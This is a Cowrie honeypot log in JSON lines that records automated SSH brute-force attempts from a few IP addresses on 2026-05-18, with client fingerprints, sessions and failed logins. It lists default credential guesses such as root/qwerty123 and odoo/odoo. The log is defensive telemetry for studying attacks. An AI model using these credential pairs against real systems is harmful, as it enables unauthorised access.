{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:31.221508Z","src_ip":"43.153.50.142","session":"c932d1c23edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:31.431051Z","src_ip":"83.168.110.85","session":"b7707757d1e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55226,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb7755addcf","protocol":"ssh","message":"New connection: 83.168.110.85:55226 (10.17.0.5:22) [session: dcb7755addcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:36.671921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:36.677258Z","src_ip":"83.168.110.85","session":"dcb7755addcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:36.801607Z","src_ip":"83.168.110.85","session":"dcb7755addcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:37.166075Z","src_ip":"83.168.110.85","session":"dcb7755addcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:38.444872Z","src_ip":"83.168.110.85","session":"dcb7755addcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55228,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c0ada8e668b","protocol":"ssh","message":"New connection: 83.168.110.85:55228 (10.17.0.5:22) [session: 3c0ada8e668b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:43.614383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:43.619086Z","src_ip":"83.168.110.85","session":"3c0ada8e668b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:43.740645Z","src_ip":"83.168.110.85","session":"3c0ada8e668b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:44.105111Z","src_ip":"83.168.110.85","session":"3c0ada8e668b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:45.228774Z","src_ip":"83.168.110.85","session":"3c0ada8e668b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51886,"dst_ip":"10.17.0.5","dst_port":22,"session":"14b2c0736c01","protocol":"ssh","message":"New connection: 83.168.110.85:51886 (10.17.0.5:22) [session: 14b2c0736c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:50.299482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:50.396899Z","src_ip":"83.168.110.85","session":"14b2c0736c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:50.631123Z","src_ip":"83.168.110.85","session":"14b2c0736c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:50.993505Z","src_ip":"83.168.110.85","session":"14b2c0736c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.63805675506592,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:51.233209Z","src_ip":"152.42.224.71","session":"ef494c057868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:52.123309Z","src_ip":"83.168.110.85","session":"14b2c0736c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42848,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e0c8b74f3e","protocol":"ssh","message":"New connection: 83.168.110.85:42848 (10.17.0.5:22) [session: 12e0c8b74f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:57.453945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:57.458416Z","src_ip":"83.168.110.85","session":"12e0c8b74f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:57.579325Z","src_ip":"83.168.110.85","session":"12e0c8b74f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:57.947070Z","src_ip":"83.168.110.85","session":"12e0c8b74f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:59.072935Z","src_ip":"83.168.110.85","session":"12e0c8b74f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57912,"dst_ip":"10.17.0.5","dst_port":23,"session":"38922c5151f9","protocol":"telnet","message":"New connection: 152.42.224.71:57912 (10.17.0.5:23) [session: 38922c5151f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:00.184980Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57928,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a6d5eaabce","protocol":"telnet","message":"New connection: 152.42.224.71:57928 (10.17.0.5:23) [session: 92a6d5eaabce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:03.993501Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34506,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a0496869a0","protocol":"ssh","message":"New connection: 83.168.110.85:34506 (10.17.0.5:22) [session: f5a0496869a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:04.332053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:04.339392Z","src_ip":"83.168.110.85","session":"f5a0496869a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:04.461098Z","src_ip":"83.168.110.85","session":"f5a0496869a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:04.917237Z","src_ip":"83.168.110.85","session":"f5a0496869a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:06.044916Z","src_ip":"83.168.110.85","session":"f5a0496869a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34524,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff07de81a25f","protocol":"ssh","message":"New connection: 83.168.110.85:34524 (10.17.0.5:22) [session: ff07de81a25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:11.375984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:11.380786Z","src_ip":"83.168.110.85","session":"ff07de81a25f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:11.501379Z","src_ip":"83.168.110.85","session":"ff07de81a25f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:11.870597Z","src_ip":"83.168.110.85","session":"ff07de81a25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:13.304250Z","src_ip":"83.168.110.85","session":"ff07de81a25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55626,"dst_ip":"10.17.0.5","dst_port":22,"session":"94960d57b949","protocol":"ssh","message":"New connection: 83.168.110.85:55626 (10.17.0.5:22) [session: 94960d57b949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:18.257998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:18.262807Z","src_ip":"83.168.110.85","session":"94960d57b949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:18.383677Z","src_ip":"83.168.110.85","session":"94960d57b949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:18.750164Z","src_ip":"83.168.110.85","session":"94960d57b949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":59244,"dst_ip":"10.17.0.5","dst_port":22,"session":"42eed020355a","protocol":"ssh","message":"New connection: 43.153.65.139:59244 (10.17.0.5:22) [session: 42eed020355a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:18.759197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:18.764029Z","src_ip":"43.153.65.139","session":"42eed020355a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:18.833218Z","src_ip":"43.153.65.139","session":"42eed020355a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"123456","message":"login attempt [pool/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:19.142734Z","src_ip":"43.153.65.139","session":"42eed020355a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:19.875923Z","src_ip":"83.168.110.85","session":"94960d57b949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:20.215253Z","src_ip":"43.153.65.139","session":"42eed020355a","protocol":"ssh"}
